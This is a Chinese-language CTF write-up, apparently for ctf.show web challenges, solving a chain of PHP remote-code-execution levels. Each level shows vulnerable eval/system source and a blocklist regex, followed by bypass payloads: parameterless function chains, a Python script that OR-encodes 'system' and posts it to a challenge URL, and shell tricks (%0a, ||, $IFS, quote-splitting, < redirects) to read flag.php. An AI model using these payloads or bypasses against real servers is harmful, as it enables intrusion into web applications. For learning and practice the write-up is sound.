题目过滤了很多
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
这题的考点是无参数RCE
参考https://www.cnblogs.com/NPFS/p/13778333.html
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数
print_r(scandir('.'))
可以用来查看当前目录所有文件名
接下来需要将括号中的.
替代掉
localeconv()
函数返回一包含本地数字及货币格式信息的数组
例如
[int_frac_digits] => 127 用于指示小数部分的最大位数 其他同理
那么我们可利用localeconv()
函数返回数组中的第一个小数点代替读取目录函数print_r(scandir('.'))
中的参数.
那么如何将数组中的第一个元素读取出来呢?可以使用以下函数:
- current()函数返回数组中的当前元素/单元,默认取第一个值;
- pos()函数同上,是current()函数的别名;
- reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE
构造:print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));
//以上函数均可查看当前目录文件
可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()
函数以相反的元素顺序返回数组,在用next()
函数读取下一个元素,最后通过highlight_file()
函数读取到flag.php
- /?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
-
- highlight_file 的别名show_source
-
- /?c=show_source(next(array_reverse(scandir(current(localeconv())))));
- if(isset($_POST['c'])){
- $c = $_POST['c'];
- if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
- eval("echo($c);");
- }
- }else{
- highlight_file(__FILE__);
- }
- ?>
过滤了^
、+
、~
、$
、[
、]
、{
、}
、&
、-等
屏蔽的比较多,我们可以跑脚本来生成可用字符的集合
。
思路是:
从所有字符(ASCII[0-255])
中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。
- $myfile = fopen("rce_or.txt", "w");
- $contents="";
- for ($i=0; $i < 256; $i++) {
- for ($j=0; $j <256 ; $j++) {
-
- if($i<16){
- $hex_i='0'.dechex($i);
- }
- else{
- $hex_i=dechex($i);
- }
- if($j<16){
- $hex_j='0'.dechex($j);
- }
- else{
- $hex_j=dechex($j);
- }
- $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
- if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
- echo "";
- }
-
- else{
- $a='%'.$hex_i;
- $b='%'.$hex_j;
- $c=(urldecode($a)|urldecode($b));
- if (ord($c)>=32&ord($c)<=126) {
- $contents=$contents.$c." ".$a." ".$b."\n";
- }
- }
-
- }
- }
- fwrite($myfile,$contents);
- fclose($myfile);
我们通过源码可以发现,没有过滤或运算|
,因此脚本中设置的mode为1,也就是或运算,运行此脚本。
- import re
- import requests
-
- url="http://b158b18a-656f-48e7-8a1c-0968db46fff1.challenge.ctf.show/"
-
- a=[]
- ans1=""
- ans2=""
- for i in range(0,256):
- c=chr(i)
- tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
- if(tmp):
- continue
- #print(tmp.group(0))
- else:
- a.append(i)
-
- # eval("echo($c);");
- mya="system" #函数名 这里修改!
- myb="ls" #参数
- def myfun(k,my):
- global ans1
- global ans2
- for i in range (0,len(a)):
- for j in range(i,len(a)):
- if(a[i]|a[j]==ord(my[k])):
- ans1+=chr(a[i])
- ans2+=chr(a[j])
- return;
- for k in range(0,len(mya)):
- myfun(k,mya)
- data1="(\""+ans1+"\"|\""+ans2+"\")"
- ans1=""
- ans2=""
- for k in range(0,len(myb)):
- myfun(k,myb)
- data2="(\""+ans1+"\"|\""+ans2+"\")"
-
- data={"c":data1+data2}
- r=requests.post(url=url,data=data)
- print(r.text)
运行结果
修改参数
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- system($c." >/dev/null 2>&1");
- }else{
- highlight_file(__FILE__);
- }
0表示键盘输入,1表示屏幕输出,2表示错误输出!
‘ > ’ 默认标准输出重定向,与1>相同
2>&1 意思是把标准错误输出重定向到标准输出
&>file 意思是把标准输出和标准错误输出都重定向到文件file中
> 代表重定向到哪里
/dev/null 代表空设备文件
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1
本题语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
所以我们要让命令回显,那么进行命令分隔即可,就是截断
截断方法:&&、||、%0a 等
- ?c=cat flag.php%0a
- ?c=cat flag.php||
- ?c=cat flag.php%26
- ?c=cat flag.php%26%26
- ?c=cat flag.php;
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
这次还过滤了cat
和;
,因此我们可以用nl或者c"a"t来绕过:
- ?c=nl flag.php%0a
- ?c=c"a"t flag.php%0a
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/;|cat|flag/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
这次又过滤了flag
字符串,我们可以用通配符*
补位从而绕过:
?c=c"a"t fl*.php%0a
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| /i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
本题的过滤条件:;
、cat
、flag
、空格
我们可以用$IFS
来绕过空格:
- ?c=echo$IFS`tac$IFS*`%0A
- ?c=c"a"t$IFS$fl*.php%0A
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
过滤条件: cat
、flag
、空格
、数字
、$
、*
绕过空格现在不能用$IFS
绕过,但是可以用<>
和%09
绕过(注意<和?不能连用,而%09
不被过滤是因为上传到服务器就是tab键
,不算数字)
payload
- ?c=nl<fla''g.php||
- ?c=nl%09fla''g.php||
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
过滤条件:分号
、flag
、空格
、数字
、$
、*
、more
、less
、head
、sort
、tail
绕过了,但是又好像没绕,上一题的payload也适用于这题:
- ?c=nl<fla''g.php||
- ?c=nl%09fla''g.php||
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
上面的payload适用
- ?c=nl<fla''g.php||
- ?c=nl%09fla''g.php||
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
没变
- ?c=nl<fla''g.php||
- ?c=nl%09fla''g.php||
-
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
- system($c." >/dev/null 2>&1");
- }
- }else{
- highlight_file(__FILE__);
- }
过滤条件:分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、%、%09、&(编码后为%26)和/`
因为%09被过滤,空格只能用<绕过,只能使用上题的第一个payload
?c=nl<fla''g.php||